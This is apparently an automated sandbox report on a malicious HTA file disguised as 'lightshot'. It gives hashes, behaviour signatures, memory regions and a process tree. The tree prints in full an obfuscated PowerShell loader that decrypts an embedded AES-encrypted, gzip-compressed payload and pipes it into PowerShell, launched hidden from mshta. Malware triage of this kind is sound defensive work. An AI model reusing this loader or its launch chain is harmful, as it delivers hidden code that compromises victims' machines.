Analysis

  • max time kernel
    91s
  • max time network
    118s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231127-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231127-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-12-2023 18:16

General

  • Target

    lightshot.hta

  • Size

    54KB

  • MD5

    d4a2eb2ca3c9c631d7fe24550901187f

  • SHA1

    adce21df1542c8867a8d3ee867ad963671290a9c

  • SHA256

    06ad0a15ad23f80816d9388624a14712df3598f856a2360912dd98680374dbda

  • SHA512

    68679a0176e4eec9f1239e497e8f279e4e857062a251fdd12201622a92c676ded89c3eea5aaa1085277dde3137a8278f3df7ea886342f99b3d7b60551fa9daa9

  • SSDEEP

    768:+rZm+DbOMXv/8/kpd6T0IBCFLGD6nqY79EtVaJOr:+rZmSbOMXv/8gd6TlBCJGD6qY79EtVDr

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\lightshot.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3624
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell - }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4300
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS | powershell -
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2816
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3224
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe $bjKJNucK = 'AAAAAAAAAAAAAAAAAAAAAP6K+v/ILIzonFqWY3aMyfu65Aitbvrdlf1JTR+VHM/93Pf7W9XSL9oKmFg9V+qy7eBG0S0HcDJtKhMRJ3Q9l7qhshHWmSGG8dKhKozh29fz02LJqF75p00XN+M8aChOLhiqviflbGu7cJqrbrWEVM7I+svNVeMHi6RuXQg3kyji0gso+E8HnnYMnLf63ehVx7vxZM1uNnQOjwScVjqGSm+URXGtIivHGvS7vky4GJZoZsxf9RpCqeVgXa+3SYd3lT+/+i5jaP4JR3SIEZQkfN4AsMHwqS+l2uMmKP4+eY38Xpo7CromP9x0lgF9/+BppwkdSfBvKvcCwokBDbD9QX0rmGMo+aov1Pa6JMsUJndxd7gXYZ4NJgIxfsx3nG11k/xyeA3FKb9M5uN34DguAT8bLbYW0/uunjQ7jci7sDSqFGwM7cVHsu4uQ/vxCWA/VsIKoOpCnJsqL9e7yfTQZd8ZledgaTqPAiksHr6qeF2DrDm6GXq3tlt+swecebAo1zXCmXTtzABYsfOV3gKMT2wGmUa7+uZhQ2P27JDH936ZqiCjJhqDl0xxeHPOL0kSdCguQBfNCliXAOw0QT2did2+iIqeoIjfoocDqNEJhNhCCzeCOn2vP07dnK9t/mvilfzeTZnmj743sAV12jWIOTHgc/e4Q4N2+Rx9yp2vT1yz5c5HnhSztHp9gvRm0I/7U5UzD0KwVsJgs0usZMkANdJIBC+a5JNnLOv+mAQAufTMUMZULnuHz/rBoZTqw37f7chwuwDV6ZxoGqp2MbPqCgeFKQgIefOApO7TTNXN6yMHo0mWEKwTL7MKX2H8CjHqVMbhmQkkJkL+2XytOm7uFf2JB2OB+vcXheFaViJYbxyQz/VZC7uSNX21qrWcvFBOqJDTAQDXy6Uyj6yKKEYT0Hj5nHpOf6eaKo10Yx4GqfU1';$NNTHozEK = 'Skp6VVRhbXN6SUxLdUZqdEhQeFhCWERYS0NVd0hOWlI=';$qxBNht = New-Object 'System.Security.Cryptography.AesManaged';$qxBNht.Mode = [System.Security.Cryptography.CipherMode]::ECB;$qxBNht.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$qxBNht.BlockSize = 128;$qxBNht.KeySize = 256;$qxBNht.Key = [System.Convert]::FromBase64String($NNTHozEK);$SRSPF = [System.Convert]::FromBase64String($bjKJNucK);$kBpEazov = $SRSPF[0..15];$qxBNht.IV = $kBpEazov;$wZxllfVVN = $qxBNht.CreateDecryptor();$OPUtZnWeo = $wZxllfVVN.TransformFinalBlock($SRSPF, 16, $SRSPF.Length - 16);$qxBNht.Dispose();$ITITdV = New-Object System.IO.MemoryStream( , $OPUtZnWeo );$RQtKC = New-Object System.IO.MemoryStream;$YabURCXiy = New-Object System.IO.Compression.GzipStream $ITITdV, ([IO.Compression.CompressionMode]::Decompress);$YabURCXiy.CopyTo( $RQtKC );$YabURCXiy.Close();$ITITdV.Close();[byte[]] $OZoVjmy = $RQtKC.ToArray();$NALOS = [System.Text.Encoding]::UTF8.GetString($OZoVjmy);$NALOS
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1512

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    def65711d78669d7f8e69313be4acf2e

    SHA1

    6522ebf1de09eeb981e270bd95114bc69a49cda6

    SHA256

    aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c

    SHA512

    05b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    15KB

    MD5

    360a15f45a9e5bdf1251023a6b1df0ea

    SHA1

    d6a3643b8ebb2dc29b51d259bdf270ddaa7d6c18

    SHA256

    acc0e3dfaea599f208571597633c7f1b0647fa3d315910fcf2243f2a9b812190

    SHA512

    46ec4adfd60fe1b69c5cac0a890fee90b0af3089c93e69e652e303239084c76c3e6a16b75c0197c12f0932c9a310b1e0f2113fdc3710f80739f051e99fefc697

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tml2yce1.lj4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1512-57-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/1512-53-0x0000000007EE0000-0x000000000855A000-memory.dmp

    Filesize

    6.5MB

  • memory/1512-52-0x0000000002FF0000-0x0000000003000000-memory.dmp

    Filesize

    64KB

  • memory/1512-32-0x0000000002FF0000-0x0000000003000000-memory.dmp

    Filesize

    64KB

  • memory/1512-30-0x0000000002FF0000-0x0000000003000000-memory.dmp

    Filesize

    64KB

  • memory/1512-27-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/3224-60-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/3224-64-0x0000000007310000-0x0000000007342000-memory.dmp

    Filesize

    200KB

  • memory/3224-83-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/3224-81-0x000000007F3A0000-0x000000007F3B0000-memory.dmp

    Filesize

    64KB

  • memory/3224-79-0x0000000007AF0000-0x0000000007B01000-memory.dmp

    Filesize

    68KB

  • memory/3224-78-0x0000000007450000-0x000000000745A000-memory.dmp

    Filesize

    40KB

  • memory/3224-77-0x0000000007350000-0x00000000073F3000-memory.dmp

    Filesize

    652KB

  • memory/3224-76-0x00000000072F0000-0x000000000730E000-memory.dmp

    Filesize

    120KB

  • memory/3224-66-0x000000006E250000-0x000000006E5A4000-memory.dmp

    Filesize

    3.3MB

  • memory/3224-65-0x000000006E0F0000-0x000000006E13C000-memory.dmp

    Filesize

    304KB

  • memory/3224-29-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/3224-31-0x0000000002080000-0x0000000002090000-memory.dmp

    Filesize

    64KB

  • memory/3224-63-0x0000000002080000-0x0000000002090000-memory.dmp

    Filesize

    64KB

  • memory/3224-62-0x0000000002080000-0x0000000002090000-memory.dmp

    Filesize

    64KB

  • memory/3224-61-0x0000000002080000-0x0000000002090000-memory.dmp

    Filesize

    64KB

  • memory/3224-58-0x0000000002080000-0x0000000002090000-memory.dmp

    Filesize

    64KB

  • memory/3224-55-0x0000000006D70000-0x0000000006DE6000-memory.dmp

    Filesize

    472KB

  • memory/3224-54-0x0000000005FF0000-0x0000000006034000-memory.dmp

    Filesize

    272KB

  • memory/4300-28-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/4300-6-0x0000000005DA0000-0x0000000005E06000-memory.dmp

    Filesize

    408KB

  • memory/4300-3-0x0000000005550000-0x0000000005B78000-memory.dmp

    Filesize

    6.2MB

  • memory/4300-0-0x0000000002AC0000-0x0000000002AF6000-memory.dmp

    Filesize

    216KB

  • memory/4300-2-0x0000000002B30000-0x0000000002B40000-memory.dmp

    Filesize

    64KB

  • memory/4300-5-0x0000000005D30000-0x0000000005D96000-memory.dmp

    Filesize

    408KB

  • memory/4300-1-0x0000000071830000-0x0000000071FE0000-memory.dmp

    Filesize

    7.7MB

  • memory/4300-18-0x00000000064B0000-0x00000000064FC000-memory.dmp

    Filesize

    304KB

  • memory/4300-4-0x0000000005450000-0x0000000005472000-memory.dmp

    Filesize

    136KB

  • memory/4300-16-0x0000000005F20000-0x0000000006274000-memory.dmp

    Filesize

    3.3MB

  • memory/4300-17-0x0000000006410000-0x000000000642E000-memory.dmp

    Filesize

    120KB

  • memory/4300-23-0x0000000007D30000-0x00000000082D4000-memory.dmp

    Filesize

    5.6MB

  • memory/4300-22-0x0000000006930000-0x0000000006952000-memory.dmp

    Filesize

    136KB

  • memory/4300-21-0x00000000068B0000-0x00000000068CA000-memory.dmp

    Filesize

    104KB

  • memory/4300-20-0x00000000076E0000-0x0000000007776000-memory.dmp

    Filesize

    600KB

  • memory/4300-19-0x0000000002B30000-0x0000000002B40000-memory.dmp

    Filesize

    64KB